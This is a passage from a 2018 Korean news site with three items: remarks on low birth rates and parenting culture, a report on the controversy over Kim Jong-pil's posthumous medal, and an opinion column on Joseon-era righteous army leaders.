저출산 문제를 해결하는 두 가지 키워드라고 설명했다.조 사무총장의 이런 생각은 아이를 낳아 기르는 환경을 개선하겠다는 정부의 정책과도 결을 함께 한다.조 사무총장은 “시민들 공모를 보니 ‘엄마가 애를 어떻게 봤기에 다치느냐’ 등 부모를 힐난하는 말을 아무렇지 않게 던지곤 한다”며 “아이를 키우는 것이 소중한 ‘권리’라는 점을 깨닫고 실천해야 한다”고 했다.특히 조 사무총장은 인식 변화를 위해 이번에 개발한 육아수칙을 더 많은 사람이 볼 수 있도록 할 계획이다. 인구보건복지협회는 시민들이 육아수칙을 편하고 재미있게 받아들일 수 있도록 카피라이터와 함께 수칙을 만들고 TV, 라디오, 웹툰 등 다양한 미디어를 통해 공개할 예정이다. 조 사무총장은 인구절벽의 위기, 저출산 돌파구를 찾기 쉽지 않은 상황임을 인정하면서도 “대책이 아예 없는 것은 아니다”라고 했다. 그는 “최근 20대들의 말을 들어보면 희망하는 자녀 수가 2명이라고 한다”며 “낳기 싫어서가 아니라, 상황이 어려워 출산 계획을 포기한다는 점에 초점을 맞춰 제도개선, 보육 지원 등으로 이를 해결한 선진국 사례가 있다”고 말했다.조 사무총장은 스웨덴의 예를 들며 “스웨덴에서는 저출산의 가장 큰 원인을 가부장적 제도에서 찾고 있다”며 “적극적인 성평등, 워라밸 정책이 진행되면 출산율이 바닥을 치고 다시 올라오는 ‘U자형’ 그래프가 될 수 있다”고 말했다. 스웨덴은 성평등 정책과 삶의 질을 높이는 정책 등을 지속적으로 추진해 출산율 문제를 해결한 대표적인 국가로 손꼽힌다. 이와 함께 조 사무총장은 부모가 아닌 아이를 ‘주인공’으로 보는 출산 대책도 중요하다고 봤다. 그는 “다양한 가족에서 태어난 아이들을 그 자체로 존중할 필요가 있다”며 “이주민 가정, 동거 가정 등 다양한 가정에 대한 차별 없이 모든 아이가 잘 자랄 수 있는데 집중하는 것도 방법”이라고 말했다.
2018.07.11 I 함정선 기자
황교익이 띄운 'JP 훈장추서 논란'에 이완구 "일본 부럽더라"
  • 황교익이 띄운 'JP 훈장추서 논란'에 이완구 "일본 부럽더라"
  • [이데일리 박지혜 기자] 맛 칼럼니스트 황교익 씨가 지난 23일 작고한 김종필 전 국무총리의 국민훈장 무궁화장 추서를 비판하면서 찬반 논란이 일고 있는 가운데 ‘JP(김종필) 키즈’라 불리는 이완구 전 국무총리는 일본을 언급하며 “부럽다”고 말했다.이 전 총리는 25일 오전 CBS라디오 ‘김현정의 뉴스쇼’에 출연해 김 전 총리의 국민훈장 무궁화장 추서 찬반 논란에 대해 “충분히 있을 수 있는 얘기”라며 “찬성을 하든 반대를 하든 그렇게 말씀하시는 분들 양쪽 다 본인 생각을 해봤으면 좋겠다”고 밝혔다.이어 이 전 총리는 “인간이 살면서 공과가 있을 수 있고 명암이 있을 수 있는데, 일본 같은 나라는 다 100여 명에 가까운 영웅들이 국민 사이에 있는데 우리는 너무 인색한 것 같다”면서 “일본에 가보니까 정말 부럽다. 우리 백제에서 도래한 사람조차 다 영웅시해주고 평가해주는데 참 우리 사회는 너무 남의 공에 대해서 인색한 거 아닌가”라고 덧붙였다.이 총리는 김 전 총리가 군사 쿠데타의 주역이고 독재정권의 2인자 였다는 점에서 무궁화장 추서는 과한 게 아니냐는 지적에 “물론 그렇게 볼 수도 있다”면서도 “우리나라의 산업화를 일으킨 장본인이, 주역이 JP인데 그렇게까지 깎아내릴 필요는 없다고 생각한다”고 말했다.이완구 전 국무총리가 지난 24일 오전 서울 송파구 서울아산병원 장례식장에 마련된 김종필 전 국무총리의 빈소 조문을 마친 후 취재진의 질문을 받고 있다 (사진=연합뉴스)또 이 전 총리는 앞서 황 씨가 페이스북에 김 전 총리가 무궁화장을 받을 것이라는 내용의 기사 링크와 함께 “이런 식이면 전두환이 죽어도 훈장 줘야 한다는 말이 나올 것”이라고 주장한 데 대해 “전두환 대통령하고 JP하고는 결이 다른 것으로 봐야지, 그렇게 얘기하면 안 된다”고 반응했다.황 씨는 김 전 총리의 별세 소식에 “거물 정치인이라 하나 그의 죽음을 슬퍼하는 국민은 거의 없다”며 김 전 총리는 ‘실패한 인생’이라고 평가했다.그러면서 “(김 전 총리가) 가는 마당임에도 좋은 말은 못 하겠다. 징글징글했다”며 “언론은 애도 분위기를 억지로 조성하지 말라. 박정희 시대가 그리운가. 독재가 그리운가. 아서라. 반역사적 행위를 멈추라”고 주장했다.지난 24일 황 씨는 “내 정치적 발언에 거북해하는 네티즌도 많다”며 “민주 공화정의 시민이면 누구든 자신의 정치적 견해를 표현할 자유가 있고, 나도 그 자유 안에서 정치와 관련한 말을 할 뿐”이라고 말하기도 했다.정부는 김 전 국무총리에게 민간인이 받을 수 있는 최고 등급 훈장인 국민훈장 무궁화장을 추서할 예정으로 알려졌다.
2018.06.25 I 박지혜 기자
오늘 우리에게 절실한 의병정신
  • [목멱칼럼]오늘 우리에게 절실한 의병정신
  • [김병일 도산서원 원장, 선비문화수련원 이사장] 얼마 전 임진왜란 때 왜적과 싸우다 본인은 물론 두 아들과 함께 목숨을 바친 전라도 고경명(高敬命, 1533-1592) 의병장의 거룩한 애국 정신을 다룬 출판기념회에 다녀왔다. 의병장의 당시 활동상을 들으면서 가슴이 먹먹해짐을 느꼈다. 요즘 한반도를 둘러싸고 급격하게 전개되는 전쟁과 평화의 냉·온탕식 기류변화를 체험하고 있는 오늘의 우리가 역사에서 배워야 할 교훈이 바로 이것이구나 싶었다.지금부터 420여 년 전 이 땅에서 벌어진 임진왜란 7년 전쟁은 우리 민족에게 혹독한 상처를 안겼다. 일본열도를 통일한 막강한 정예 왜병은 불과 두세 달 만에 조선 땅을 거의 유린했다. 관군은 제대로 싸워보지도 못하고 무너졌고, 명나라 원군은 얼마 지나서야 일부 지역의 수복 전투에만 참전했다. 충무공의 활약도 주 무대는 바다였다. 이런 와중에 육지 곳곳에서 왜적과 맞서 싸운 것은 의병들이었다.의병은 누구인가? 대부분 농사를 짓던 민간인이었다. 훈련도 제대로 받지 못했고 무기도 변변치 않았다. 그럼에도 그들은 조총으로 무장한 왜병과 맞서 분연히 일어섰다. 이길 수 있다고 생각해 나섰을까? 그런 판단 이전에 평소 존경하던 향촌의 선비가 의병장으로 앞장서기에 그 결정을 믿고 뒤따랐을 뿐이다. 지도층의 리더십이 저절로 작동한 순간이었다.고경명은 당시 60세의 노 선비이자, 전쟁 1년 전 동래부사를 끝으로 고향으로 물러나 글을 읽던 한낱 전직 관료였다. 그런 그가 두 아들과 함께 나라를 위해 목숨 걸고 의병을 일으켰던 것이다. 자신과 아들의 몸만 바친 것이 아니고 주위의 수많은 사람을 의병으로 이끌어냈다. 또 무기와 군량도 본인 책임 아래 마련하였다. 나라가 어려우면 떨쳐나서는 것이 선비의 본분이라는 신념이 있었기에 가능했던 일이다. 전쟁의 승패와 일신의 안위보다 오직 무엇이 옳은지 만을 행동의 기준으로 삼은 것이다. 고경명과 두 아들 그리고 대부분의 의병은 그렇게 차례로 전장에서 순국하였다.어디 고경명 장군만 그랬던가? 같은 호남 땅의 김천일(金千鎰, 1537~1593)이 그랬고, 충청도의 조헌(趙憲, 1544~1592)도 700 의병과 싸우다 장렬히 순절하였으며, 경상도의 곽재우(郭再祐, 1552~1617) 또한 붉은 갑옷을 입고 신출귀몰해 왜적의 간담을 서늘케 하였다. 이외에도 일일이 다 열거할 수 없다.우리는 흔히 공동체를 위한 지도층의 숭고한 희생정신을 이야기 할 때 서양 상류층의 노블레스 오블리주 정신을 거론한다. 그들은 축적한 부를 사회에 과감히 환원하고 전쟁이 나면 먼저 앞장서는 전통을 부단히 만들어 왔다. 그러나 우리 선비들은 그보다 더 나으면 나았지 결코 못지않은 솔선수범의 문화를 일구었다. 궂은일은 앞서 맞고 즐거운 일은 남에게 먼저 양보하는 선우후락(先憂後樂)의 정신이 그것이다. 이 때문에 전쟁이 나면 솔선하여 의병을 일으켜 가족과 아랫사람들까지 합류시켰다. 국가 권력 밖에 있는 비정규 조직이기에 무기와 각종 보급품도 스스로 조달했다. 주로 정규군 지원을 통해 봉사한 서양 상류층의 행동과는 결이 다른 거룩한 헌신이 아닐 수 없다.인류 전쟁사에서 민간인이 주력 부대를 이루면서 전쟁을 전면에서 수행한 나라는 조선왕조 이외에는 유례가 거의 없다. 조선왕조 말에도 전국에서 일어난 의병이 온갖 희생을 무릅쓰면서 강력한 일본 정규군과 맞서 치열하게 싸웠다. 승패를 떠나 얼마나 자랑스러운 전통이자 문화인가? 오늘을 사는 우리도 나라가 위기에 직면하면 이렇게 할 수 있을까?우리가 그토록 바라는 한반도의 평화를 지키려면 외교가 매우 중요하다. 하지만 외교에서 성공하려면 상대가 우리를 만만히 볼 수 없도록 힘을 길러야 한다. 나라의 힘은 어떻게 배양되는가? 애국심에 뿌리를 둔 국민의 단결심이 토양이다. 그 토양은 또 어떻게 이루어지는가? 지금까지의 역사가 보여준 대로 지도층의 솔선수범을 통해서이다. 이것이 우리가 역사 속 선비의 의병정신을 오늘에도 되새겨야 하는 까닭이다.
2018.06.25 I 최은영 기자

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